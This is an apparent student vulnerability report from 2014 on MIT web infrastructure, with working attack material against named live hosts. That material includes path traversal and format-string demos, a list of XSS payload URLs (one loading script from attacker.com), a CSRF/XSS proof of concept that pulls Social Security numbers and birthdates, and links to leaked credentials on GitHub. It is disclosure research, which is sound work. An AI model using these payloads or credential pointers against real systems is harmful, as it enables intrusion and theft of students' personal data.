Hacking MIT

Andrew Fasano Kevin Mustelier Favyen Bastani

December 12, 2014

Warning

At time of publication, this document contains numerous unpatched vulnerabilities against critical MIT infrastructure. Do not distribute this before the affected systems are patched.

1 Introduction

MIT's web resources consist of websites spread across a large number of subdomains and maintainers, the most significant of which we list in Table 1. Various groups maintain these websites, including MIT Information Systems and Technology (IS&T) and the Student Information Processing Board (SIPB). Many of these websites contain sensitive data that attackers should be unable to access. The large amount of separately managed websites leads to security gaps. We found vulnerabilities across a large number of critical MIT websites, with the most severe often being associated with infrastructure that has gone unmaintained for over a decade. Exploits range from leaks of sensitive data (including social security numbers) to format string vulnerabilities that allow attackers to perform any operation granted to the web server system user. In this report, we detail the vulnerabilities that we identified through a manual search process.

2 Vulnerabilities

Most vulnerabilities that we identified fall into the general classes of binary exploitation, cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injections. In Sec-

Subdomain	Description
web	Primary public-facing content
m	Mobile website
student	WebSIS application; manage academic registration and personal records
learning-modules	Gradebook for optional use by instructors
stellar	Course management system for optional use by instructors
rolesweb	Access to the Roles Database

Table 1: List of notable websites in the MIT web infrastructure.

tion 2.5, we discuss other vulnerabilities.

2.1 Binary Exploitation

Binaries running as the webserver user on a machine are an enticing target for an attacker. If an attacker manages to compromise a binary service and execute arbitrary commands such as creating a reverse shell, the attacker has successfully broken into the server. Once able to run commands on the server, the attacker can trivially exfiltrate all information the webserver ever would serve to legitimate users. If necessary, the webserver can be modified to create man-in-the-middle attacks to steal information that it doesn't normally have access to. With just one exploitable binary, an attacker can gain access into a server. From there, files can be modified, removed or exfiltrated. We found an exploitable scripts and binary on web.mit.edu which, when used together, would allow for remote code execution.

The robots.txt file hosted at web.mit.edu/robots.txt told web spiders to not crawl the "bin" directory. This seemed like a promising place to look for vulnerabilities. Using Google searches with advanced operators such as "domain:mit.edu" a reference to the finger script was found.

2.1.1 finger: file traversal

The finger script, formerly running at web.mit.edu/bin/finger would prompt for a username to finger and make a get request with this value in the query string. If the request was made with a query string of to "*", it would be expanded by the script and passed to the actual finger binary.

When given a username that could not be found in the system, this script would print "finger: [username]: no such user." for each username given to it. Thus with a query string of a star, this script would output an error message that listed each file in the directory. Any path provided to this script that contained stars would be expanded. There did not appear to be a limit on the number of results returned by this binary. The query string of /afs/net/www/root/*/*/* returned 21,061 results as follows:

```
<H1>Finger /afs/net/www/root/\*/\*/\*</H1>
/afs/net/www/root/*/*/*
<ISINDEX>
<PRE>
finger: /afs/net/www/root/3down/RCS/3down-desc.html,v: no such user.
finger: /afs/net/www/root/3down/RCS/3down-guide.html,v: no such user.
finger: /afs/net/www/root/3down/RCS/index.html,v: no such user.
finger: /afs/net/www/root/3down/admin/RCS: no such user.
...
```

2.1.2 cgiemail

The finger script listed two notable binaries in the bin directory: cgiemail (still running at web.mit.edu/bin/cgiemail) and cgiecho (formerly running at web.mit.edu/bin/cgiecho).

Cgiemail provided a user manual at web.mit.edu/wwwdev/cgiemail/user.html. This document describes Cgiemail as a tool to send form output to an MIT email address. When a get request is sent to web.mit.edu/bin/cgiecho/foo.txt?var=1, cgiecho looks for the foo.txt in its current working directory. If foo.txt contains variables in the format [var] and the get request contains a value for the parameter var, cgiemail will replace [var] with the value of var from the request and email it to an MIT email address specified in the query string. The cgiecho script is used for testing and simply outputs the data that would be emailed to a user. The documentation for cgiemail states that an email template can format input to be of a specific data type using printf format strings:

> If, in your e-mail template, the text inside square brackets begins with %, cgiemail will use the printf() function in C on the field name after the comma... For example: [%s ,topping]

If the email template files could be created by a malicious user, a format string vulnerability could be exploited by passing an attacker controlled format string to printf.

To get cgiecho to run a malicious file, we used finger's path traversal vulnerability to recursively list directories in the bin directory and found a symbolic link into afs: bin/afs.new.

Calling cgiecho at web.mit.edu/bin/cgiecho/afs.new/athena/user/f/a/fasano/Public/test.txt?foo=1 caused the file test.txt in an attacker-controlled Athena share to be executed and output random data from memory as follows

Foo.txt:

```
[%08x.%08x.%08x.%08x.%08x|%s,foo]
```

Output from webserver:

```
094ea00c.00000000.ffa83158.f7e65917.0156147912|OZ N          N         | 1
```

This shows that this form is vulnerable to a format string attack. Using the "%n" format string, an attacker could write to arbitrary address within the process's memory and achieve remote code execution. We provided IS&T with a patch for this vulnerability that has been applied.

2.2 Cross Site Scripting

Cross-site scripting (XSS) vulnerabilities occur when unsanitized user input is included in site content. By injecting JavaScript code into a web page, an attacker can cause users to make arbitrary web requests within the origin of the victim website. If the user has elevated permissions (usually because the user has authenticated with the site), then unauthorized actions can be performed, or sensitive data extracted. We list URLs demonstrating the XSS vulnerabilities that we found below:

- m.mit.edu
  - http://m.mit.edu/3down/detail.php?title=<script>alert('xss')</script>
  - http://m.mit.edu/calendar/search.php?filter="><script>alert('xss')</script>

  - http://m.mit.edu/people/index.php?filter="><script>alert('xss')</script>
  - http://m.mit.edu/shuttleschedule/times.php?route=<script>alert('xss')</script>

- learning-modules.mit.edu
  - https://learning-modules.mit.edu/portal/index.html?uuid=<script>alert('xss');</script>
  - https://learning-modules.mit.edu/membership/index.html?uuid=<script>alert('xss');</script>

- stellar.mit.edu
  - https://stellar.mit.edu/SR/servlet/RequestSiteServlet?subjectId=&siteCategory=Academic%27&semester="/><script>alert('xss')</script>
  - Submit any Stellar assignment using HTML submission option, and embed JavaScript
  - https://rolesweb.mit.edu/cgi-bin/qualauth.pl?qualtype=LIBM+%28Library+materials%29&rootcode=<scriptsrc="//attacker.com/xss.js"></script>

- Other sites. Sorted by value of domain
  - https://rolesweb.mit.edu/cgi-bin/qualauth.pl?qualtype=LIBM+(Library+materials)&rootcode=<script>src%3D‘‘https://web.mit.edu/fasano/Public/xss.js’’</script>
  - http://student.mit.edu/catalog/search.cgi?search=<script>alert('xss')</script>
  - http://newsoffice.mit.edu/search?keyword="><script>alert('xss')</script>
  - http://connect.mit.edu/directory?keywords=<script>alert('xss')</script>
  - http://allegro.mit.edu/bin/pubs-search.php?SearchFor=<imgsrc=""onerror="alert('xss');">
  - https://stuff.mit.edu/storyfun/I_went_for_a_walk?1=<script>alert("xss");</script>

2.2.1 Stellar and Learning Modules

Of these vulnerabilities, attacks on stellar.mit.edu and learning-modules.mit.edu would be the most severe. Exploits targeting Stellar could modify or extract student grades (by targeting instructors), replace submitted assignments, and change recitation sections. Below, we detail a specific attack on learning-modules.mit.edu that collects a victim's full name, photo, MIT ID number, and class grades.

First, by visiting https://learning-modules.mit.edu/service/membership/groups?termCode=*, the attacker can retrieve the victim's Athena username and one class UUID.

That class UUID can be used to construct a URL similar to https://learning-modules.mit.edu/service/gradebook/gradebook?uuid=STELLAR:/course/24/fa14/24.118, which provides the gradebook ID for that class. Another request to https://learning-modules.mit.edu/service/gradebook/role/9999?includePermissions=false (where 9999 is an example gradebook ID) reveals a personId field, along with the victim's full name and MIT ID number. We then request https://learning-modules.mit.edu/service/gradebook/student/9999/5555/1?includeGradeInfo=true&includeAssignmentMaxPointsAndWeight=true&includePhoto=true&includeGradeHistory=true&includeCompositeAssignments=true&includeAssignmentGradingScheme=true (where 5555 is the personId), which includes the victim's class grades, along with a link to the victim's photo.

2.3 CSRF

Cross-site request forgery (CSRF) attacks take advantage of HTTP requests that lead to the execution of privileged actions on the web server without requiring random token values. For example, a bank may have an HTML form for clients to perform transfers between accounts; unless the form includes random hidden input data, an attacker can construct a website that causes visitors to submit a POST request in the background and convince the bank that the user submitted the request. These vulnerabilities can be can be fixed by including a random token in every form that is associated with a privileged action; the form processor must then validate the token. Tokens should be at least on a per-session basis (if not a per-form basis).

2.3.1 Personal emergency contact

The personal emergency contact form at https://student.mit.edu/cgi-bin/sfprwemg.sh was found to be vulnerable to CSRF attacks. This form allows users to update who should be contacted in case of emergency. Like the MIT Alert form, with CSRF alone this is not a particularly serious vulnerability.

After the form is submitted, the page showing the submitted data is vulnerable to an XSS attack. By manipulating form values, remote JavaScript can be included into the confirmation web page. Then the attacker can inject whatever scripts desired and the victim will execute the malicious code. Highly sensitive data including social security number is displayed under the same origin as this page at https://student.mit.edu/cgi-bin/sppwsbio.sh. An attacker can easily steal this data when a victim browses to an attacker-controlled website. The victim would be unaware that their information was compromised until they next checked their emergency contact information.

When a victim browsed to an attacker-controlled page, the attacker would submit a POST request to update the victim's emergency contact information. This request would contain a malicious JavaScript payload. The attacker would have the results of this request rendered in a hidden iframe. That malicious JavaScript would then run in the victim's browser and allow the attacker to steal sensitive information from the victim.

While these two vulnerabilities are not particularly severe individually, when they are used together this is a major security flaw.

This CSRF vulnerability was quickly patched by IS&T when we reported it.

2.3.2 Student Biographic Record

The Student Biographic Record form at https://student.mit.edu/cgi-bin/sppwsbio.sh is vulnerable to a CSRF attack when an attacker has some basic information about the user. This form allows a user to update their social security number, birthday and prior education. If an attacker knows a user's MIT ID number and their full name, the attacker can post malicious data into this form. The Prior Education fields in the form are vulnerable to XSS attacks. This is currently unpatched. However, an email showing the changes is sent to registrarmit.edu whenever this form is updated. In our research, we found that the registrar does notice when malicious data is put into this form. We developed a proof of concept XSS attack that prompts for a user's MIT ID, and full name. Given that information, it alerts a user's birthday and social security number if they are logged in to student.mit.edu.

The HTML form for this proof of concept attack is:

```
<form method=post action="https://student.mit.edu/cgi-bin/sppwsbio_sub.sh">
<div style="display: none;" >
<select name="birthdate_day">
<OPTION  value="01" SELECTED >01
</select>
<select name="birthdate_mo">
<OPTION  value="Jan" SELECTED >JAN
</select>
<select name="birthdate_yr">
<OPTION  value="1990" SELECTED >1990
</select>
</td>

<input type=text name="ssn1" value="" size=3 maxlength=3>
<input type=text name="ssn2" value="" size=2 maxlength=2>
<input type=text name="ssn3" value="" size=4 maxlength=4>
<select name="ilg_affiliation">
<option value="" selected>
</select>
<input type=text name="college" value="" size=70 maxlength=100>
</div>

Student name: <input type=text name="student_name" value=""> <br />
Student ID: <input type=text name="student_id" value=""> <br />
<input type="hidden" name="old_admin_first_name" value="<script src='https://web.mit.edu
<input type=submit value="Submit">
</form>
```

The external JavaScript payload referenced in that form is as follows:

```
i = document.createElement('iframe');
i.src='https://student.mit.edu/cgi-bin/sppwsbio.sh';
```

```
i.id='fr';
i.style.display='none';
document.body.appendChild(i);
iframe = document.getElementById('fr');
var innerDoc = iframe.contentDocument;
f = function (name) { return name + " : " + innerDoc.getElementsByName(name)[0].value; }
i.onload = function() {
  alert(f('student_name'));
  alert(f('old_ssn'));
  alert(f('old_birthdate'));
  alert(f('student_email'));
  alert(f('student_id'));
}
```

This demo alerts a user's name, social security number, birth date, email address and ID number.

2.3.3 MIT Alert

The MIT Alert information form at https://em2.mit.edu:444/mitalert/student is vulnerable to CSRF attack. By forcing victims to post data to this page, attacker can overwrite victim's MIT Alert preferences.

2.3.4 Religious affiliation

The religious affiliation form at https://student.mit.edu/cgi-bin/sfprwrel.sh is similarly unprotected. This issue has small impact most students do not consider the data stored in this form to be important.

2.4 SQL Injections

The Roles Web application http://rolesweb.mit.edu is vulnerable to SQL injection attacks launched by users who have some permissions. SQL injections allow for an attacker to issue arbitrary commands to a database. The rolesweb database seems like a piece of critical MIT infrastructure which, if compromised, could have serious consequences. The source code shows numerous instances of raw user input being passed directly into database queries without sanitization.

2.5 Other vulnerabilities

2.5.1 Unvalidated redirect

The webmail system hosts an unvalidated redirect at https://webmail.mit.edu/horde/services/go.php?url=http://example.com

2.5.2 Plaintext credentials

While researching the vulnerabilities in the rolesweb application, we discovered that the GitHub repository for the project contained a world-readable list of valid credentials for MIT machines.

- https://github.com/thorne/Permit/blob/master/permit/feeds/lib/.svn/text-base/roles_config.svn-base
- https://github.com/thorne/Permit/commit/008f65b0ccbfe5599fecb427d3e7b0f7e4255fc8

A subset of these credentials were valid at the time of discovery and they allowed SSH and FTP access into these machines.

2.5.3 Outdated software on sql.scripts.mit.edu

SIPB's phpMyAdmin installation for their MySQL service at https://sql.scripts.mit.edu/phpMyAdmin/ is running an old version. While there aren't any particularly severe exploits, attackers can still leverage known vulnerabilities in the old version. For example, we found the service to be vulnerable to CVE-2014-7217, where ENUM fields are not escaped when searching the table. An attacker can construct a table with an ENUM attribute including options that contain JavaScript code, and then send a link to victim that results in victims searching the attacker's database. To accomplish this, the victim would need to be logged in and also have permission to access the database. It is not clear how difficult this would be to exploit under these constraints, but in general keeping software up to date is important.